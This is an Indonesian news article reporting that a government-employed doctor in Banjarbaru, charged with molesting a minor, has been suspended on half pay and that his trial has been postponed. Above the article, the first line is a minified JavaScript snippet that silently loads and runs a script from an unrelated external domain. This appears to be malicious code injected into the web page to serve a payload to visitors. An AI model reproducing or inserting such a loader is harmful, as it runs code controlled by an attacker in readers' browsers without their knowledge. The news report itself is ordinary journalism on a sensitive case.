(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tindak asusila oknum Aparatur Sipil Negara (ASN) seorang dokter di lingkungkan Pemko Banjarbaru kini menjadi terdakwa di Pengadilan Negeri (PN) Banjarbaru berujung pada pemberhentian sementara.
Dokter R terdakwa pencabulan anak di bawah umur diberhentikan sementara dari status kepegawaiannya, hingga menunggu putusan lanjutan dari pengadilan.
Informasi yang berhasil diperoleh Kanalkalimantan.com, dokter R merupakan ASN aktif di Puskesmas Sungai Besar, Kelurahan Sungai Besar, Kecamatan Banjarbaru Selatan, Kota Banjarbaru.
Kepala Badan Kepegawaian Pendidikan dan Pelatihan (BKPP) Kota Banjarbaru, Sri Lailana mengatakan, terkait status kepegawaian dokter R diterangkannya kalau yang bersangkutan sudah diberhentikan sementara dari status ASN di lingkungan Pemko Banjarbaru terhitung per 1 Oktober 2021 lalu.
“Kami langsung memproses surat pemberhentian sementara yang bersangkutan sebagai ASN, secara ketentuan pihak bersangkutan menjadi tersangka dan ditahan hingga memenuhi unsur untuk dijatuhi pemberhentian sementara dari status kepegawaiannya,” jelas Sri Lailana kepada Kanalkalimantan.com, Jumat (14/1/2021).
Adapun SK pemberhentian sementara dokter R untuk status kepegawaiannya sebagai ASN di Pemko Banjarbaru terhitung mulai tanggal 29 November 2021. Sedang pemberhentian sementara terhitung per 1 Oktober 2021, karena keterlambatan menerima surat pemberitahuan, setelah BKPP Kota Banjarbaru menerima surat penetapan tersangka dan penahanan yang dikeluarkan Polres Banjarbaru pada 8 Oktober 2021 lalu, didapat BKPP dari pihak keluarga.
“Hak kepegawaian dalam hal ini gaji hanya dia terima 50 persen,” tambahnya.
Diterangkan Sri Lailana, pada awalnya dirinya tidak mengetahui kasus ini, karena tidak ada laporan dari dinas terkait dalam hal ini Dinas Kesehatan Kota Banjarbaru.
Baca juga: KRONOLOGI: Dokter R Diduga Cabuli Anak di Bawah Umur, Korban “Jangan Om”
“Kita dapatnya dari salah seorang Kabid di Disdalduk yang melakukan konsultasi ke sini, kalau dari dinas sebagai instansi pembinanya tidak ada laporan hingga saat ini,” tegasnya.
Dikatakan Sri, sebelumnya belum mengetahui setelah dapat informasi dari salah satu pegawai Disdalduk yang mendapat pengaduan dari orangtua korban dan ingin berkordinasi dengan Polres Banjarbaru.
Setelah keluar surat dari Polres Banjarbatu yang didapat BKPP dari pihak keluarga bahwa yang bersangkutan dokter R ditahan, serta ditetapkan sebagai tersangka dan ditahan, pihaknya kemudian langsung memproses terkait status kepegawaian dokter R.
“Kami tidak bisa melakukan tindakan jika tidak adanya laporan tertulis dalam hal ini surat dari Kepolisan dan pengaduan dari salah seorang Kabid di Disdalduk Kota Banjarbaru,” ucapnya.
Terkait SK pemberhentian sementara dokter R, BKPP Kota Banjarbaru sudah menembuskan ke Dinkes Kota Banjarbaru, namun tidak ada laporan tertulis dari Dinkes Kota Banjarbaru.
Dikatakan Sri, sementara walau diberhentikan sementara dari status PNS, dokter R tetap menerima gaji 50 persen hingga ada putusan inkrah dari pengadilan. BKPP nantinya menyiapkan tim atau majelis yang akan menjatuhi hukuman disiplin yang memutuskan sanksi apa yang didapatkan oleh dokter R.
“Setelah putusan pengadilan didapatkan baru kita rapat tim untuk memutuskan sanksi bagi yang bersangkutan,” tutupnya.
Pengadilan Negeri (PN) Banjarbaru menggelar sidang terkait kasus dugaan pelecehan seksual terhadap anak di bawah umur melibatkan dokter R.
Baca juga: Dokter R Terdakwa Pencabulan Anak di Bawah Umur, Sidang di PN Banjarbaru Ditunda
Kasus dugaan tindak asusila ini ternyata sudah memasuki sidang kedua, Kamis (13/1/2022) siang.
Panitera Muda PN Banjarbaru, Pratama Muhammad Rizky mengatakan, sidang yang perdana sudah dilakukan dua hari yang lalu, dengan agenda dakwaan pada Selasa (11/1/2022) kemarin.
“Dan hari ini agenda sidang kedua, pemeriksaan saksi-saksi, serta terdakwa R,” ungkap Panitera Muda PN Banjarbaru.
Panitera Muda ini mengatakan, pelaku R didakwa dengan Pasal 82 ayat 1 Undang-Undang nomor 17 tahun 2018 tentang perlindungan anak.
Jurnalis Kanalkalimantan.com berupaya mengkonfirmasi dugaan tindak asusila melibatkan dokter R terhadap anak di bawah umur ke Polres Banjarbaru melalui Kasi Humas Polres Banjarbaru, namun belum mendapati tanggapan.
Belakangan sidang kedua dengan agenda pemeriksaan saksi ditunda majelis hakim PN Banjarbaru, lantaran saksi berhalangan hadir karena dikabarkan sakit.
Sidang selanjutnya dijadwalkan akan berlangsung pada Selasa (18/1/2022) pekan depan.
Sementara itu, Jaksa Penuntut Umum (JPU) dari Kejaksaan Negeri (Kejari) Banjarbaru, Fachri Donan SH membenarkan jika saksi berhalangan hadir saat sidang kedua terdakwa R, hingga persidangan dugaan pencabulan oleh dokter R tersebut akhirnya ditunda. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.